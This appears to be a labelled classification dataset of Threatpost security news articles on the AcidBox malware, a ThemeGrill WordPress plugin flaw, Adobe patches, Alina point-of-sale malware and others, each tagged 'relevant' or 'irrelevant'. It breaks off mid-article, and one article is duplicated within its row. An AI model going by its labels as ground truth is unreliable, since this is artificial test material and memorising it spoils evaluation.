"70 Percent of Mobile, Desktop Apps Contain Open-Source Bugs A lack of awareness about where and how open-source libraries are being used is problematic, researchers say. A full 70 percent of applications being used today have at least one security flaw stemming from the use of an open-source library. According to Veracode’s annual State of Software Security report, these open-source libraries – free, centralized code repositories that provide ready-made application “building blocks” for developers – are not only ubiquitous but also risky. The analysis examined 351,000 external libraries in 85,000 applications, and found that open-source libraries are extremely, extremely common. For instance, most JavaScript applications contain hundreds of open-source libraries – some have more than 1,000 different libraries. In addition, most languages feature the same set of core libraries. “JavaScript and PHP in particular have several core libraries that are in just about every application,” according to the report. These libraries, like other software, have bugs. The issue is that thanks to code re-use, a single bug can affect hundreds of applications. “Prominent in almost every application today, open-source libraries allow developers to move faster by quickly adding basic functionality,” according to Veracode. “In fact, it would be nearly impossible to innovate with software without these libraries. However, lack of awareness about where and how open source libraries are being used and their risk factors is a problematic practice.” Four main libraries represent the majority of the open-source bugs found in applications: Swift, .NET, Go and PHP. Swift has specialized use in the Apple ecosystem, and has the highest density of flaws, according to Veracode. However, it also has an overall low percentage of flawed libraries in terms of volume. .NET meanwhile has the lowest percentage of flawed libraries out of the four, and on a population that is more than 17 times larger than Swift. Go has a high percentage of libraries with flaws, but an overall low number of flaws per individual library. And PHP has a higher rate of flawed libraries than Go – but more double the density of flaws in a given library. The firm also found that cross-site scripting (XSS) is the most common vulnerability category found in open-source libraries – present in 30 percent of them. This is followed by insecure deserialization (23.5 percent) and broken access control (20.3 percent). “We found insecure deserialization was a relatively rare flaw among in-house applications (ranking eighth out of 10),” according to the report. “Having such a high ranking when looking at libraries is troubling as this category of flaws can result in unexpected code paths being executed, which means that portions of libraries that we are not even intending to use may be inserted into the execution path of their hosting applications through use of this flaw.” Percentage of bug types found stemming from open-source. Click to enlarge. The data also showed that most flawed libraries end up in code indirectly – thanks to cascading interdependencies. Developers might use one library – but unbeknownst to them, the library that they’re using has pulled in code from an entirely different open-source library to underpin it. “Forty-seven percent of the flawed libraries in applications are transitive – in other words, they are not pulled in directly by developers, but are being pulled in by the first library (42 percent are pulled in directly, 12 percent are both). This means that developers are introducing much more code, and often flawed code, than they might be anticipating.” The good news is that addressing security flaws in these libraries is not a huge lift. “Most library-introduced flaws (nearly 75 percent) in applications can be addressed with only a minor version update; major library upgrades are not usually required,” according to the Veracode report. “This data point suggests that this problem is one of discovery and tracking, not huge refactoring of code.”",irrelevant
"AcidBox Malware Uncovered Using Repurposed VirtualBox Exploit A “very rare” malware has been used by an unknown threat actor in cyberattacks against two different Russian organizations in 2017. Advanced malware, dubbed AcidBox, has been identified by researchers who say a mysterious cybergang used it twice against Russian organizations as far back as 2017. In a report released Wednesday, Palo Alto Networks’ Unit 42 sheds new light onto attacks against the popular open-source virtualization software VirtualBox that used the AcidBox malware. Unit 42’s postmortem on the VirtualBox attacks begins in 2008 when researchers at Core Security found a bug in the Windows Vista security mechanism called Driver Signature Enforcement (DSE). The flaw allowed an attacker to disable DSE and install rogue software onto targeted instances of Oracle’s VirtualBox software. The bug (CVE-2008-3431) impacting VirtualBox driver VBoxDrv.sys was patched in version 1.6.4. Fast forward to 2o14, and the notorious Turla Group developed the first malware to abused a third-party device driver to disable DSE, weaponizing Core Security’s research. The Turla Group attacks also focused on VirtualBox drivers. And despite Oracle’s 2008 patch, Turla operators successfully figured out how to disabled DSE with its malware. That’s because, according to Unit 42, despite the bug (CVE-2008-3431) fix, only one of two vulnerabilities were patched in 2008. “The exploit used by Turla actually abuses two vulnerabilities — of which, only one was ever fixed [with CVE-2008-3431],” Unit 42 wrote in its report posted Wednesday. The Turla Group malware, researchers said, also targeted a second DSE vulnerability tied to a signed VirtualBox driver (VBoxDrv.sys v1.6.2) using what would later be identified as AcidBox malware. Fast forward to 2019, and that’s when Unit 42 said it first discovered a sample of AcidBox that had been uploaded to VirusTotal. Researchers then traced the AcidBox malware to fresh attacks against the VirtualBox driver VBoxDrv.sys v1.6.2, along with all other versions up to v3.0.0 (the current VirtualBox version is 6). “Because of the malware’s complexity, rarity, and the fact that it’s part of a bigger toolset, we believe it was used by an advanced threat actor for targeted attacks and it’s likely that this malware is still being used today if the attacker is still active,” wrote Dominik Reichel and Esmid Idrizovic, researchers with Palo Alto Networks’ Unit 42 team. Despite similarities between the Turla Group and the cybergang behind the recent VirtualBox attacks, researchers said the two threat groups are not linked. Turla, also known as Venomous Bear, Waterbug and Uroboros, is a Russian-speaking threat actor known since 2014. VirtualBox Exploit The exploit that was used by Turla abuses two vulnerabilities. The first flaw (CVE-2008-3431), fixed in 2008, exists in the VBoxDrvNtDeviceControl function in VBoxDrv.sys. The function does not properly validate a buffer associated with the Irp object, allowing local users to gain privileges by opening the \\.\VBoxDrv device and calling DeviceIoControl to send a crafted kernel address. However, the second vulnerability is still unpatched, and was used in a newer version of Turla’s exploit, which researchers believe was introduced in 2014 in the threat group’s kernelmode malware. It is this exploit that the yet-to-be-known threat actor behind AcidBox leveraged in the 2017 attack against the two Russian firms. Reichel told Threatpost that the unpatched flaw “never got a CVE since it was naturally (i.e. unintentionally) patched in version 3.0.0.” “[AcidBox] uses a known VirtualBox exploit to disable Driver Signature Enforcement in Windows, but with a new twist: While it’s publicly known that VirtualBox driver VBoxDrv.sys v1.6.2 is vulnerable and used by Turla, this new malware uses the same exploit but with a slightly newer VirtualBox version,” said researchers. The Malware The AcidBox malware itself is a complex modular toolkit. Researchers only have access to a small part of this toolkit. They found four 64-bit usermode DLLs and an unsigned kernelmode driver. Three (out of those four usermode samples (msv1_0.dll, pku2u.dll, wdigest.dll) have identical functionality and are loaders for the main worker module, researchers said. Researchers also noted that attackers are using their own DEF files (instead of __declspec(dllexport), which adds the export directive to the object file so users do not need to use a DEF file) to give instructions for when to import or export its DLLs. A DEF file (or module-definition file) is a text file containing one or more module statements that describe various attributes of a DLL. When a DEF file is used, attackers can choose which ordinal their export function will have. “This is not possible with __declspec(dllexport) as the Visual Studio compiler always counts your functions starting from one,” said researchers. “Using a DEF file instead of __declspec(dllexport) has some advantages. You are able to export functions by ordinals and you can also redirect functions among other things. The disadvantage is that you have to maintain an additional file within your project.” Reichel told Threatpost there’s still a lot of unknowns about the malware, but he’s “encouraging the cybersecurity community to help collaborate with us and share any additional information about this threat if they have it,” he said. Moving forward, AcidBox is a “very rare” malware that is probably used in highly targeted attacks, researchers said. “While AcidBox doesn’t use any fundamentally new methods, it breaks the myth that only VirtualBox VBoxDrv.sys 1.6.2 can be used for Turla’s exploit,” they said. “Appending sensitive data as an overlay in icon resources, abusing the SSP interface for persistence and injection and payload storage in the Windows registry puts it into the category of interesting malware.”",relevant
"Active Exploits Hit Vulnerable WordPress ThemeGrill Plugin Websites using a vulnerable version of the WordPress plugin, ThemeGrill Demo Importer, are being targeted by attackers. Researchers are urging users of a vulnerable WordPress plugin, ThemeGrill Demo Importer, to update as soon as possible after discovering attackers are actively exploiting a flaw in the plugin. The ThemeGrill Demo Importer plugin is owned by ThemeGrill, which offers various templates for website outlines. This WordPress plugin helps users import and manage ThemeGrill templates on their sites. As of last week, the plugin had 200,000 active installations. According to WebARX, who discovered the flaw, on Tuesday that number has dipped to 100,000 installs. It is unclear at this time what accounts for the drop in the number of WordPress plugin installs. Researchers disclosed a flaw in the plugin this week, which allows unauthenticated, remote attackers to execute some administrator functions – without checking if they are an administrator. One such function is the capability to wipe the entire database of the vulnerable website, bringing it to its default state and clearing website databases of existing posts and user roles. And, after carrying out this action, an attacker would also then be logged in as an administrator – giving them complete control over the website. “This is a serious vulnerability and can cause a significant amount of damage,” according to WebARX researchers in a post this week. “Since it requires no suspicious-looking payload … it is not expected for any firewall to block this by default and a special rule needs to be created to block this vulnerability.” Versions from 1.3.4 to 1.6.1 are impacted by this flaw. According to the WordPress plugin repository, versions 1.4, 1.5 and 1.6 make up 98.6 percent of active versions of the plugin. Researchers say that the issue has existed in the plugin’s code for about three years (since version 1.3.4). Researchers discovered the vulnerability on Feb. 5 and reported it to the plugin. On Sunday, ThemeGrill released the new patched version of the plugin, version 1.6.2. However, according to reports, active exploits of the vulnerability have started, with some affected websites showing a WordPress “Hello World” post. The “Hello World” post is a “dummy” post, set by WordPress, as a placeholder post for content upon initial installation. In a message to Threatpost, WebARX confirmed that the vulnerability is being actively exploited in the wild, and said it has blocked over 16,000 attacks against this vulnerability since Feb. 16 (a list of IP addresses actively exploiting the flaw can be found here). Flaw Technical Details Researchers said that the prerequisite for an exploit is that there must be a theme installed and activated on the affected websites that was published by ThemeGrill. And, in order to be automatically logged in as an administrator, there must be a user called “admin” in the website’s database. After the plugin detects that a ThemeGrill theme is installed and activated, it has the capability to load files (called /includes/class-demo-importer.php) which then interact with the admin_init hook. A hook is used as a way for one piece of code to interact or modify another piece of code. Admin_init specifically is used to initialize settings specific to the administrator functions. The problem specifically stems from the plugin’s admin_init hook calling to /wp-admin/admin-ajax.php, which does not require a user to be authenticated. This issue (which has occurred in other plugins before, including the WP Live Chat Support and others) means that an attacker could merely specially crafted request to the /wp-admin/admin-ajax.php endpoint page and would then be granted access as a user with certain administrative permissions on the website. “admin_init is a hook that plugins can hook into,” researchers told Threatpost. “It’s executed on all admin screen/scripts. However, this also includes /wp-admin/admin-ajax.php which is also used for calls by unauthenticated users.” wordpress plugin flaw After an attacker gains admin privileges, they could then be in control of the “admin” user object and clear all WordPress tables that start with the defined WordPress database prefix. This would essentially clear the database so that is the website is reset to its default settings and all data in the database is cleared – including all user roles, website post and pages, and more, researchers told Threatpost. Researchers told Threatpost that the flaw doesn’t yet have a CVE number or CVSS score. Threatpost has also reached out to ThemeGrill for further information but has not yet heard back by publication. It’s only the latest WordPress plugin to have a vulnerability. Last week, for instance, popular WordPress plugin GDPR Cookie Consent, issued fixes for a critical flaw, that if exploited, could enable attackers to modify content or inject malicious JavaScript code into victim websites.",relevant
"Adobe Fixes ‘Important’ Flaws in ColdFusion, After Effects and Digital Editions ColdFusion, After Effects and Digital Editions",relevant
"Adobe Kills 16 Critical Flaws in Acrobat and Reader, Digital Negative SDK Adobe patched 36 flaws, including critical vulnerabilities in Acrobat and Reader and its DNG Software Development Kit. Adobe has fixed 16 critical flaws across its Acrobat and Reader applications and its Adobe Digital Negative (DNG) Software Development Kit. If exploited, the flaws could lead to remote code execution. Overall, Adobe fixed vulnerabilities tied to 36 CVEs in its regularly-scheduled Tuesday security update. Those include 24 critical- and important-severity flaws in its Acrobat and Reader application, used for creating and managing PDF files, and 12 in its Adobe DNG Software Development Kit (SDK), which provides support for reading and writing DNG files used for digital photography. “Adobe is not aware of any exploits in the wild for any of the issues addressed in these updates,” according to Adobe’s Tuesday alert. Acrobat and Reader Twelve critical flaws were fixed in Acrobat and Reader. The majority of these, if exploited, can allow an attacker to launch arbitrary code execution attacks. The flaws include a heap-based buffer overflow flaw (CVE-2020-9612) that exists within the processing of JPEG2000 images, Dustin Childs, manager at Trend Micro’s Zero Day Initiative, told Threatpost. “The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a heap-based buffer,” Childs said. “An attacker can leverage this vulnerability to execute code in the context of the current process.” Another code-execution flaw of note is a out-of-bounds write glitch (CVE-2020-9597). Childs said this specific bug exists within the parsing of .JPEG files. “Crafted data in a JPEG file can trigger a write past the end of an allocated buffer,” he said. “An attacker can leverage this vulnerability to execute code in the context of the current process.” Also of note is a flaw stemming from a specific JavaScript code embedded in a PDF file, which can lead to heap corruption (CVE-2020-9607) when opening a PDF document in Adobe Acrobat Reader DC 2020.006.20034. “With careful memory manipulation, this can lead to arbitrary code execution,” said Cisco Talos researchers who discovered the flaw in a Tuesday analysis. “The victim would need to open the malicious file or access a malicious web page to trigger this vulnerability.” The remaining critical flaws enabling code execution include another out-of-bounds write glitch (CVE-2020-9594), buffer errors (CVE-2020-9605, CVE-2020-9604) and another use-after-free flaw (CVE-2020-9606). Adobe also addressed a critical race condition flaw (CVE-2020-9615) and security bypass flaws (CVE-2020-9614, CVE-2020-9613, CVE-2020-9596, CVE-2020-9592), which can be exploited by a bad actor to bypass security restrictions features. “These updates address multiple critical and important vulnerabilities,” according to Adobe’s alert. “Successful exploitation could lead to arbitrary code execution in the context of the current user.” A number of important-severity flaws were also patched, including a null pointer (CVE-2020-9610) and stack exhaustion (CVE-2020-9611) flaw, which can allow bad actors to launch denial-of-service attacks against the application. Out-of-bounds read flaws (CVE-2020-9609, CVE-2020-9608, CVE-2020-9603, CVE-2020-9602, CVE-2020-9601, CVE-2020-9600, CVE-2020-9599) and invalid memory access flaws (CVE-2020-9598, CVE-2020-9595, CVE-2020-9593) were also patched, which could be abused to access sensitive information. Affected are Acrobat and Reader DC Continuous versions 2020.006.20042 and earlier; Acrobat and Reader Classic 2017 versions 2017.011.30166 and earlier; and Acrobat and Reader Classic 2015 versions 2015.006.30518 and earlier. The patched versions for each affected product is below. adobe acrobat and reader Adobe had released a pre-notification security advisory for the Acrobat and Reader updates last week. Adobe DNG SDK Adobe also issued patches for flaws in versions 1.5 and earlier of its DNG SDK. Users are urged to update to version 1.5.1 of the SDK. This includes critical heap overflow flaws tied to four CVEs (CVE-2020-9589, CVE-2020-9590, CVE-2020-9620, CVE-2020-9621). If exploited, the flaws could enable remote code execution. Also patched were eight out-of-bounds read flaws (CVE-2020-9622, CVE-2020-9623, CVE-2020-9624, CVE-2020-9625, CVE-2020-9626, CVE-2020-9627, CVE-2020-9628, CVE-2020-9629) that could be abused for information disclosure. Mateusz Jurczyk with Google Project Zero was credited with discovering the flaws. In April, Adobe released security patches for vulnerabilities in its ColdFusion, After Effects and Digital Editions applications. If exploited, the flaws could enable attackers to view sensitive data, gain escalated privileges, and launch denial-of-service attacks. Also in April, Adobe released an out-of-band patch addressing critical flaws in Adobe Bridge, Adobe Illustrator and the Magento e-commerce platform. If exploited, the most severe vulnerabilities could enable remote code execution on affected systems.",relevant
"Critical vulnerabilities were patched in Adobe After Effects, Illustrator, Premiere Pro, Premiere Rush and Audition. Adobe patched 18 critical vulnerabilities Tuesday impacting key products Adobe After Effects, Illustrator, Premiere Pro, Premiere Rush and Audition. The out-of-band fixes address vulnerabilities allowing an attacker to execute arbitrary code, if bugs are exploited. In its security bulletin Adobe said it was not aware of any exploits in the wild for any of the bugs. Five of the critical flaws were discovered in versions 17.1 and earlier of After Effects. Users are encouraged to update to version 17.1.1. The After Effects flaws include an out-of-bounds read vulnerability (CVE-2020-9661), out-of-bounds write vulnerabilities (CVE-2020-9660, CVE-2020-9662) and heap overflow flaws ( CVE-2020-9637, CVE-2020-9638). Adobe Illustrator received five patches, including one for a buffer error (CVE-2020-9642) and memory corruption bugs (CVE-2020-9575, CVE-2020-9641, CVE-2020-9640, CVE-2020-9639). Versions 24.1.2 and earlier of Illustrator 2020 are affected, version 24.2 of the popular illustration app has fixed the issues. Adobe also patched three flaws in versions 1.5.12 and earlier of Premiere Rush, Adobe’s video editing app. The flaws were fixed in version 1.5.16. They included two out-of-bounds write (CVE-2020-9656, CVE-2020-9657) and an out-of-bounds read flaw (CVE-2020-9655). And, Adobe patched three flaws in Premiere Pro, another version of Adobe’s video editing software that is more advanced than Adobe Premiere Rush (which is instead more targeted toward YouTubers and social media creators). These include out-of-bounds write (CVE-2020-9653, CVE-2020-9654) and out-of-bounds read (CVE-2020-9652) vulnerabilities. Adobe Premiere Pro versions 14.2 and earlier are affected; users are urged to update to version 14.3. Finally, versions 13.0.6 and earlier of Adobe’s audio app, Audition, had two critical out-of-bounds write flaws (CVE-2020-9658, CVE-2020-9659). These flaws were fixed in version 13.0.7 for Windows and macOS. An “important” severity out-of-bounds read bug (CVE-2020-9666) enabling information disclosure was also patched in Adobe Campaign Classic, its marketing campaign management application. The out-of-band update comes a week after Adobe’s scheduled patches, where it stomped out four critical flaws in Flash Player and in its Framemaker document processor. Critical vulnerabilities were patched in Adobe After Effects, Illustrator, Premiere Pro, Premiere Rush and Audition. Adobe patched 18 critical vulnerabilities Tuesday impacting key products Adobe After Effects, Illustrator, Premiere Pro, Premiere Rush and Audition. The out-of-band fixes address vulnerabilities allowing an attacker to execute arbitrary code, if bugs are exploited. In its security bulletin Adobe said it was not aware of any exploits in the wild for any of the bugs. Five of the critical flaws were discovered in versions 17.1 and earlier of After Effects. Users are encouraged to update to version 17.1.1. The After Effects flaws include an out-of-bounds read vulnerability (CVE-2020-9661), out-of-bounds write vulnerabilities (CVE-2020-9660, CVE-2020-9662) and heap overflow flaws ( CVE-2020-9637, CVE-2020-9638). Adobe Illustrator received five patches, including one for a buffer error (CVE-2020-9642) and memory corruption bugs (CVE-2020-9575, CVE-2020-9641, CVE-2020-9640, CVE-2020-9639). Versions 24.1.2 and earlier of Illustrator 2020 are affected, version 24.2 of the popular illustration app has fixed the issues. Adobe also patched three flaws in versions 1.5.12 and earlier of Premiere Rush, Adobe’s video editing app. The flaws were fixed in version 1.5.16. They included two out-of-bounds write (CVE-2020-9656, CVE-2020-9657) and an out-of-bounds read flaw (CVE-2020-9655). And, Adobe patched three flaws in Premiere Pro, another version of Adobe’s video editing software that is more advanced than Adobe Premiere Rush (which is instead more targeted toward YouTubers and social media creators). These include out-of-bounds write (CVE-2020-9653, CVE-2020-9654) and out-of-bounds read (CVE-2020-9652) vulnerabilities. Adobe Premiere Pro versions 14.2 and earlier are affected; users are urged to update to version 14.3. Finally, versions 13.0.6 and earlier of Adobe’s audio app, Audition, had two critical out-of-bounds write flaws (CVE-2020-9658, CVE-2020-9659). These flaws were fixed in version 13.0.7 for Windows and macOS. An “important” severity out-of-bounds read bug (CVE-2020-9666) enabling information disclosure was also patched in Adobe Campaign Classic, its marketing campaign management application. The out-of-band update comes a week after Adobe’s scheduled patches, where it stomped out four critical flaws in Flash Player and in its Framemaker document processor.",relevant
"Adobe Patches Critical RCE Flaw in Character Animator App A critical remote code execution flaw in Adobe Character Animator was fixed in an out-of-band Tuesday patch. Adobe has issued an out-of-band patch for a critical flaw in Adobe Character Animator, its application for creating live motion-capture animation videos. The flaw can be exploited by a remote attacker to execute code on affected systems. The flaw (CVE-2020-9586) is found in versions 3.2 and earlier and exists within the parsing of the BoundingBox element in PostScript. Specifically, it stems from a stack-based buffer overflow error, meaning the element lacks proper validation of the length of user-supplied data prior to copying it to a stack-based buffer. “Of the bugs fixed today, CVE-2020-9586 stands out as it could code execution if a user opens a malicious file or visits a malicious web page,” Dustin Childs, manager at Trend Micro’s Zero Day Initiative, told Threatpost. “An attacker can leverage this vulnerability to execute code in the context of the current process.” Users are urged to update to version 3.3 for Windows and macOS. While the flaw is critical, the security bulletin is a Priority 3 update, which according to Adobe resolves vulnerabilities in a product that has historically not been a target for attackers. “Adobe recommends administrators install the update at their discretion,” according to the update. Adobe on Tuesday also issued several updates addressing other flaws. While these other vulnerabilities are “important” in severity, they would all need to be combined with additional bugs to gain code execution, Childs told Threatpost. One such flaw exists in Adobe Premiere Rush, its video editing software for online video creators. The software has an out-of-bounds read vulnerability (CVE-2020-9617) that could lead to information disclosure. Users are urged to update to Adobe Premiere Rush version 1.5.12 for Windows and macOS. Another “important”-severity flaw exists in Adobe Premiere Pro, another version of Adobe’s video editing software that is more advanced than Adobe Premiere Rush (which is instead more targeted toward YouTubers and social media creators). Like Premiere Rush, Premiere Pro has an out-of-bounds read flaw (CVE-2020-9616) that could lead to information disclosure. Users can update to version 14.2 for Windows and macOS. Finally, Adobe stomped out a flaw in Audition, which is its toolset offering for creating and editing audio content. The out-of-bounds read flaw (CVE-2020-9618) can enable information disclosure if exploited. A patch is available in Audition 13.0.6 for Windows and macOS. For all of these flaws, “Adobe is not aware of any exploits in the wild for any of the issues addressed in these updates,” according to the alert. Mat Powell with ZDI was credited with discovering these flaws. The unscheduled patches come a week after Adobe’s regularly-scheduled updates, which fixed 16 critical flaws across its Acrobat and Reader applications and its Adobe Digital Negative (DNG) Software Development Kit – and addressed 36 CVEs overall.",relevant
"Adobe Warns of Critical Flaws in Flash Player, Framemaker Critical Adobe Flash Player and Framemaker flaws could enable arbitrary code execution. Adobe released patches for four critical flaws in Flash Player and in its Framemaker document processor as part of its regularly scheduled updates. The bugs, if exploited, could enable arbitrary code-execution. In Tuesday’s June Adobe security updates, critical flaws tied to three CVEs were patched in Adobe Framemaker, which is Adobe’s application designed for writing and editing large or complex documents. The flaws include two critical out-of-bounds write flaws (CVE-2020-9634, CVE-2020-9635), which stem from write operations that then produce undefined or unexpected results. Francis Provencher working with Trend Micro’s Zero Day Initiative (ZDI) was credited with finding these arbitrary code-execution flaws. Dustin Childs, communications manager with Trend Micro’s ZDI, told Threatpost that an attacker can leverage both flaws to execute code in the context of the current process. They would need to entice a user to open a specially crafted file or visit a malicious page, he said. “For CVE-2020-9634, the specific flaw exists within the parsing of GIF files,” Childs told Threatpost. “The issue results from the lack of proper validation of user-supplied data, which can result in a write past the end of an allocated object. For CVE-2020-9635, the specific flaw exists within the parsing of PDF files. The issue results from the lack of proper validation of user-supplied data, which can result in a write before the start of an allocated object.” Adobe also patched a critical bug (CVE-2020-9636) stemming from memory corruption, where an attempt is made to access memory after it has been freed. This can cause an array of malicious impacts, from causing a program to crash, to potentially leading to execution of arbitrary code – or even enabling full remote code-execution capabilities. Honggang Ren of Fortinet’s FortiGuard Labs reported the flaw. Adobe Framemaker versions 2019.0.5 and below for Windows are affected; fixes are available in version 2019.0.6. Flash Player A critical, use-after-free flaw (CVE-2020-9633) was meanwhile discovered in Flash Player. Affected are Adobe Flash Player Desktop Runtime (Windows, macOS and Linux), Adobe Flash Player for Google Chrome (Windows, macOS, Linux and Chrome OS) and for Microsoft Edge/Internet Explorer 11 (Windows 10 and 8.1), all for versions 32.0.0.330 and earlier. Impacted users are urged to update to 32.0.0.387 in a “priority 2” update, which according to Adobe “resolves vulnerabilities in a product that has historically been at elevated risk,” but for which there are currently no known exploits. “Successful exploitation could lead to arbitrary code-execution in the context of the current user,” said Adobe in its update. Flash is known to be a favorite target for cyberattacks, particularly for exploit kits, zero-day attacks and phishing schemes. Of note, Adobe announced in July 2017 that it plans to push Flash into an end-of-life state, meaning that it will no longer update or distribute Flash Player at the end of this year. Other Flaws Adobe also patched flaws tied to six important-severity flaws in Experience Manager, its content management platform for building websites, mobile apps and forms. Versions 6.5 and earlier are affected. These include server-side request forgery glitches (CVE-2020-9643 and CVE-2020-9645) that could allow sensitive information disclosure, and cross-site scripting vulnerabilities (CVE-2020-9647, CVE-2020-9648, CVE-2020-9651 and CVE-2020-9644) that could enable arbitrary JavaScript execution in the browser. For all flaws in its June update, Adobe said it is not aware of any exploits in the wild. The regularly scheduled updates come a month after Adobe fixed 16 critical flaws across its Acrobat and Reader applications and its Adobe Digital Negative (DNG) Software Development Kit in May. If exploited, those flaws could lead to remote code execution. In May, Adobe also issued an out-of-band patch for a critical flaw in Adobe Character Animator, its application for creating live motion-capture animation videos. The flaw can be exploited by a remote attacker to execute code on affected systems.",relevant
"Alina Point-of-Sale Malware Spotted in Ongoing Campaign The malware is using DNS tunneling to exfiltrate payment-card data. A venerable point-of-sale (POS) malware called Alina that’s been around since 2012 is back in circulation, with a new trick for stealing credit- and debit-card data: Domain Name System (DNS) tunneling. DNS is the mechanism by which numeric IP addresses are linked to website names; DNS translates human-readable domain names to IP addresses so browsers can load internet resources. Researchers at Black Lotus Labs spotted a still-ongoing campaign that began in April, in which cyberattackers employed Alina to siphon off payment-card information, then used DNS to exfiltrate it. “To do this, malware authors encode the stolen information and issue a DNS query to the actor-controlled domain name,” according to the researchers’ analysis, issued on Wednesday. “The encoded data is placed in a subdomain, which the malicious actors then extract when they receive the DNS query. The stolen data is subsequently sold in underground criminal markets.” In the most recent campaign, four domains showed similar, suspicious DNS queries that turned out to lead back to Alina: analytics-akadns[.]com; akamai-analytics[.]com; akamai-information[.]com; and akamai-technologies[.]com. A suspicious-looking fifth domain, sync-akamai[.]com, was unused, but it was hosted on the same IP, according to the researchers. “Actors often register multiple domains to provide redundancy if one or more of the malicious domains is blocked,” according to the analysis. The volume of queries that Black Lotus Labs observed to each of the C2 domains saw a marked increase in traffic to all the domains, especially akamai-technologies[.]com, beginning in May. Researchers said that the increase in traffic is due to queries originating from a single victim from the financial services industry. Source: Black Lotus Each of the DNS queries uncovered are either checking in with the C2, or they contain credit-card information. “The queries that contain credit card numbers contain an executable name in the field following the location or descriptor field,” according to Black Lotus. “This appears to be the process which the malware identified as containing the credit-card information in memory. Earlier samples of the malware either contained a list of processes to examine, or examined every process running except for those contained in a list of processes to ignore.” Alina can attack physical POS devices as well as computers running POS software. “During the credit-card transaction, the data is typically decrypted and is temporarily in the POS software’s memory in unencrypted form,” according to researchers. “The malware searches the RAM of the POS device for this unencrypted credit-card information and sends it back to a command-and-control (C2) server. To ensure that only real credit-card data is found when searching the RAM of the device, the malware verifies that the last digit of the card number is the correct check digit using the Luhn checksum algorithm.” The use of DNS isn’t unusual – it’s a popular choice for malware authors to bypass security controls and exfiltrate data from protected networks, researchers pointed out. It’s a new trick for Alina however – its operators are banking (no pun intended) that while credit-card processing occurs in highly restricted environments, DNS often goes unmonitored. “While earlier samples of the malware used HTTPS or a combination of HTTPS and DNS for the exfiltration of the stolen credit-card information, samples seen starting in late 2018 use DNS exclusively for communication,” researchers said.",relevant
"Alleged Zoom Zero-Days for Windows, MacOS for Sale, Report Alleged Windows flaw allows for remote code execution and is being flogged for $500,000. Hackers claim they have discovered two zero-day vulnerabilities for the Zoom video conferencing platform that would allow threat actors to spy on people’s private video conferences and further exploit a target’s system. Flaws target Zoom clients for the Windows and the MacOS operating system, according to a published report by Vice Motherboard. According to the report, the hackers are asking $500,000 for the Windows exploit. The article cites two unnamed cybersecurity zero-day brokers who claim hackers have approached them in an attempt to sell the zero-day code. It’s important to note, the Motherboard report states brokers have not reviewed the actual zero-day code and are basing opinion on what hackers are claiming to have for sale. According to the article, hackers allege the Windows-based exploit is a Remote Code Execution bug that would need to be chained to an additional exploit to infiltrate a target’s system. As for the macOS-base Zoom zero-day, it can only be executed locally, meaning it is not a RCE-class bug, according to the report. In a statement to Motherboard, Zoom said it could not find evidence substantiating the claims made by the publication. One of the Motherboard sources speculated the hackers behind the alleged exploits are “just kids who hope to make a bang”. The Windows code could be a significant threat to Zoom users, according to experts quoted by Motherboard. “[It is] a nice, a clean RCE perfect for industrial espionage.” The Windows-based zero-day exploit includes an additional prerequisite that requires the attacker to be a Zoom meeting participant with its target to launch the alleged attack. Earlier this month, Zoom did patch two zero-day flaws in its macOS client that could give local, unprivileged attackers root privilege allowing access to victims’ microphone and camera. Zoom Woes Have Been Mounting There is already evidence that Zoom enterprise and business users have been compromised by hackers. Last week, researchers uncovered a database shared on an underground forum containing more than 2,300 compromised Zoom credentials, including usernames and passwords for Zoom corporate accounts belonging to banks, consultancy companies, educational facilities, healthcare providers and software vendors. News of the vulnerabilities is the latest issue to plague Zoom since a surge in its use over the last month or so since governments around the world issued stay-at-home orders in the wake of the COVID-19 pandemic. Usage of the video-conferencing service has skyrocketed as millions have turned to the free platform to connect with friends, host work meetings, attend school lessons and do myriad other online activities. ZoomBombing became the initial way hackers would break into video conferences, using the ease with which they could access links to Zoom conferences and jump on calls uninvited to disrupt them with pornography, hate speech or even physical threats to users. Zoom eventually made a tweak to its user interface by removing meeting ID numbers from the title bar of its client interface to mitigate the attacks from threat actors. Before the tweak, anyone could join a Zoom meeting if they knew the meeting link, which many users would send via social-media channels. A raft of other security threats emerged soon after, forcing Zoom to take action to mitigate and eliminate these threats. Zoom eliminated a feature called LinkedIn Sales Navigator that came under fire for “undisclosed data mining” of users’ names and email addresses, which the service used to match them with their LinkedIn profiles. The company is currently facing a class-action lawsuit filed last week by one of its shareholders which alleges that the company made “materially false and misleading statements” that overstated its privacy and security measures, and claims that Zoom didn’t disclose its lack of end-to-end encryption. All of these mounting woes inspired Zoom last week to recruit an industry heavy-hitter – former Facebook CISO Alex Stamos – to provide special counsel as well as name third-party expert security advisory teams to help clean up its act.",relevant
"AMD: Fixes For High-Severity SMM Callout Flaws Upcoming AMD has fixed one high-severity vulnerability affecting its client and embedded processors; fixes for the other two will come out later in June. Three high-severity vulnerabilities have been disclosed in AMD’s client and embedded processors that came out between 2016 and 2019. An attacker with physical or privileged access to certain AMD powered systems could exploit the flaws to execute arbitrary code or take control of the firmware. AMD, which dubs the flaws “SMM Callout Privilege Escalation” bugs, released a fix for one of the three, CVE-2020–14032, on June 8. The other two flaws (CVE-2020–12890 and another that has yet to be issued a CVE number) have not yet been fixed. However, in a security update last week, AMD said it plans deliver the fixes for the issues by the end of June 2020. Threatpost Webinar Promotion: The Enemy Within: How Insider Threats Are Changing “AMD is aware of new research related to a potential vulnerability in AMD software technology supplied to motherboard manufacturers for use in their Unified Extensible Firmware Interface (UEFI) infrastructure and plans to complete delivery of updated versions designed to mitigate the issue by the end of June 2020,” according to AMD. The three vulnerabilities were reported by security researcher Danny Odler on April 2, who then went on to publish an analysis for the patched vulnerability earlier on June 13, after it was fixed. Odler told Threatpost, no further details are available on the other two flaws as of now because they are not yet fixed. Odler said that the flaws exist on AMD’s Accelerated Processing Unit (APU) microprocessors, which are designed to act as both a CPU and GPU on a single die. He specifically tested the issue on the UEFI (Unified Extensible Firmware Interface) of AMD’s Mini PC product. AMD Mini PC was released by AMD in December 2019 as a direct competitor to small form factor computing units, including Intel’s NUC and Gigabyte Brix. All three flaws exist on technology called System Management Mode (SMM). SMM is an operating mode that’s mainly responsible for CPU and chipset configurations, motherboard manufacturer code, and secured operations such as setting secure boot hashes, TPM (Trusted Platform Module) configurations and power management. SMM exists on microprocessors manufactured both by Intel and AMD. However, Odler confirmed to Threatpost that Intel NUC (which leverages SMM) is not exploitable for the same vulnerability. The root cause of the SMM vulnerability is a lack of checks on the destination buffer address when calling SmmGetVariable() in the SMI (System Management Interrupt) handler 0xEF. The SMI 0xEF handler implements a wrapper logic for getting data to and from the UEFI variables, which then provide a 